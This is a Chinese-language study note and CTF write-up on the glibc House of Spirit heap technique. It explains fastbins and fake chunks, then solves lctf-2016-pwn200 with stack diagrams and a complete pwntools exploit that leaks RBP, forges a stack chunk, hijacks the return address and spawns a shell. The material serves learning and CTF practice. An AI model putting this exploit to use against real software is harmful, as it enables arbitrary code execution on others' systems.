House of Spirit
在SploitFun的文章里提到
- House of Prime
- House of Mind
- House of Force
- House of Lore
- House of Spirit
崩溃,诶?查了一下资料发现,在CTF里出现的好像只有House of Spirit
和House of Force
,ahhhh~, 然后找一些文章学习一下这个House of Spirit
,这个技术是与fast bin
有关的,所以先学一下fast bin
fast bin
Fast bin简单的来说就是 16-80 字节(不过好像其实是16-64)的bin优先使用fast bin
只有fd
指针,最后一块的fd是空值
不会被合并,因为标志位都总是1
环境说的都是x86,如果x64的话是32-128字节之间
先进后出,像栈一样,fastbin list指向最外边(第一块)的fast bin,就是即将被取出的
有新的fastbin加入fastbin list的时候,新来的fastbin的fd指针指向原来最靠外的fastbin,同时fastbin list指向新来的fastbin
有malloc请求时候,最外边的一块(第一块),被取下,然后fastbin list会指向取下来这块的fd指向的那个地址,这个时候你的机会来了,你如果能在即将取走这块前改写他的fd,那么…怎么改写,,,一般是堆溢出
现在基本清楚了,那个size字段指的大小不是data的大小,本块某一字段加上本块的size值就找到了下一块相应字段的地址,所以这个size是data加上头部的大小
同时这个size和fast binlist是对应的
任意地址写
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
void *buf0, *buf1, *buf2;
buf0 = malloc(32);
buf1 = malloc(32);
free(buf1);
free(buf0);
buf0 = malloc(32);
read(0, buf0, 64);
buf1 = malloc(32);
buf2 = malloc(32);
printf("buf2 is at %p\n", buf2);
return 0;
}
来自上面提到的blog
malloc的顺序决定了buf0
是地址比较小的那一块,所以read
处对buf0
的写能溢出改掉buf1
的fd
而这个free
的顺序能决定,大概是fastbin list链着的顺序
free掉buf0: list[x] -> buf1
free掉buf1: list[x] -> buf0 -> buf1
malloc了一次: list[x] -> buf1
这个时候list的地址应该是指向buf1这块吧,感觉原作者这里是不是画错了
read一次,这个时候,可以改掉buf1的fd,这个fd就是我们伪造的堆块了
malloc第二次, 在buf1从list上unlink的时候,会把buf1的fd指向的地址,链接进去
malloc第三次,这个时候,会把伪造的堆块分配出来,,,
由于要检查chunk的size,所以我们伪造的堆块的size也应该和前面的buf1和buf0相同,所以我们伪造的堆块的偏移+4的地方,emmmm,就是那个size的地方要改成这个,或者找个满足条件的size值,伪造fd成这个值-4
还要注意一点就是malloc返回的值是data的地址,而系统自己管理list的时候list指向和fd指向都是指向头部,头部和data是偏移8个字节
这个时候我们就可以对buf2所指向的地方写了,实现任意地址读写
这个伪造的地址一般是bss段,要布置好previous_size
[4字节] + size
[4字节] + fd
[4字节]
注意size值就行了
House of Spirit
主要参考这一篇和上面的两篇
感觉大概是..emmmmmm~前面讲到的是在bss段上伪造堆,这个bss不属于随机化的一部分,程序运行前就能看到bss段基地址 这个HOS的话,看起来是花式在栈上伪造一个堆
原文的例子
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *p = malloc(32);
char buf[8];
read(0, buf, 0x80);
free(p);
malloc(32);
}
我们要利用第一个read
- 覆盖p变量,指向伪造的堆块
- 伪造一个堆块..格式大概是
prev_size = 0x00 size = 0x29 //因为我们伪造的这个堆块大小也是32, 32 + 8 + 1 => 0x29 fd = 0x00
- 因为free的时候还会对相邻的后一个chunk(是从地址上后一个,因为这个时候还是allocate的,所以和list无关)进行检查所以,要再伪造一个堆块,大小适中就可以了,inuse要是1??
找打这个下一块应该是,emmmm,本块的size字段地址偏移本字段size的大小, 拿到下一块的大小,下一块的大小适中就可以了emmmmm
之后free的时候,会把我们伪造堆块Free掉就会挂进到fastbinlistY里
最后再malloc的时候就能获取到我们的伪造堆块了
综上我们要有两个可控区域,如果在栈上的话
+------------------+ 低地址
chunk 1
+------------------+
想要控制的地址
+------------------+
chunk2
+------------------+ 高地址
在栈上的话,肯定是先有了chunk2,然后有了chunk1,这个低地址的chunk1要能达到覆盖某个 p = malloc(some_size)
的p的目的,然后这个chunk2用来绕过检查
习题
lctf-2016-pwn200
这个题目按照我这边布置的结构大概是
+--------------------+
[8H] RBP -------------> 0x7fff ffff d9c0 (leak_addr)
+--------------------+ --> 0x7fff ffff d9a0
[30H] shellcode
+--------------------+ -+> 0x7fff ffff d970 (leak_addr - 50H) [*]shellcode_addr
[20H] +
+--------------------+ -+> 0x7fff ffff d950
[8H] ***ret_addr*** +
+--------------------+ + =====> 40H的User Data
[8H] RBP +
+--------------------+ +
[10H] +
+--------------------+ -+> 0x7fff ffff d830 (leak_addr - 90H) [*]fake_addr (User_data)
[8H] size = 0x41
+--------------------+
[8H] prev_size
+--------------------+
[20H] padding
+--------------------+
因为print("%s")
是遇到\x00
得时候才认为字符串结束,所以我们如果输入给正好30H的数据(不含有\x00
)的话,那那就泄露出上面最上面EBP
的值
因为EBP大概是0x0000 7fff ffff xxxx
这样子的结构,所以从低到高会泄露出6个字节
调试一下发现泄露出来的的EBP的值(leak_addr)和我们这个时候的EBP差20H…,
因为题目基本没有开任何防护,所以这里顺便铺设了shellcode,然后缓冲区是30H的大小
所以我们生成一个payload,然后高字节用padding够30H,发给题目
payload = ''
payload += shellcode.ljust(48)
p.recvuntil('who are u?\n')
p.send(payload)
p.recvuntil(payload)
leak_addr = u64(p.recvn(6).ljust(8, '\x00'))
这个时候观察一下我们的shellcode距离当前RBP有30H, 当前RBP距离leak_addr有20H偏移
所以
shellcode_addr = leak_addr - 50H
后面有个功能输入id,可以伪造成第二个堆块的大小,这个id变量是放在leak_addr - 58H的地方,就是放在和我们shellcode相邻并且地址更小的那个地方,这个大小只要适当就好了,具体是在什么什么和什么什么之间来着忘记了
id = getid()
下一步是输入money,就是我们的核心,这里有一个溢出,我们要把malloc到的一个指针p覆盖成我们的fake_addr,然后还顺便构造好我们的fake_chunk的size,我们这里构造0x41,在之后我们会通过free把他拉进list里,最后malloc出来
+-----------+
shellcode
+-----------+ --+
id (size) +
+-----------+ +
padding +
+-----------+ +===> fake_chunk's Size = 0x40
RIP +
+-----------+ +
RBP +
+-----------+ +
padding +
+-----------+ --+--> fake_addr
size (0x41)
+-----------+
prev_size
+-----------+
大概就是这样子,+
扩住的是我们最后要控制的地区,fake_addr + 0x40 - 0x08
这个地址也就是id所在的地址被认为是下一块chunk,我们通过输入id,构造好了这里
等我们控制了这里之后,在写fake_chunk时候送一个padding + shellcode_addr
,就能控制图中的RIP,达到了目的
最后poc
from pwn import *
p = remote('127.0.0.1', 7777)
# p = process('./pwn200')
free_got = 0x0000000000602018
shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')
payload = ''
payload += shellcode.ljust(48)
p.recvuntil('who are u?\n')
p.send(payload)
p.recvuntil(payload)
rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))
shellcode_addr = rbp_addr - 0x50 # 20H + 30H
print hex(shellcode_addr)
fake_addr = rbp_addr - 0x90 # offset 0x40 to shellcode
p.recvuntil('give me your id ~~?\n')
p.sendline('32') # id
p.recvuntil('give me money~\n')
# 32bytes padding + prev_size + size + padding + fake_addr
data = p64(0) * 4 + p64(0) + p64(0x41)
data = data.ljust(56, '\x00') + p64(fake_addr)
print data
p.send(data)
p.recvuntil('choice : ')
p.sendline('2') # free(fake_addr)
p.recvuntil('choice : ')
p.sendline('1') #malloc(fake_addr) #fake_addr
p.recvuntil('long?')
p.sendline('48') # 48 + 16 = 64 = 0x40
p.recvline('48') # ptr = malloc(48)
data = 'a' * 0x18 + p64(shellcode_addr) # write to target_addr
data = data.ljust(48, '\x00')
p.send(data)
p.recvuntil('choice')
p.sendline('3')
p.interactive()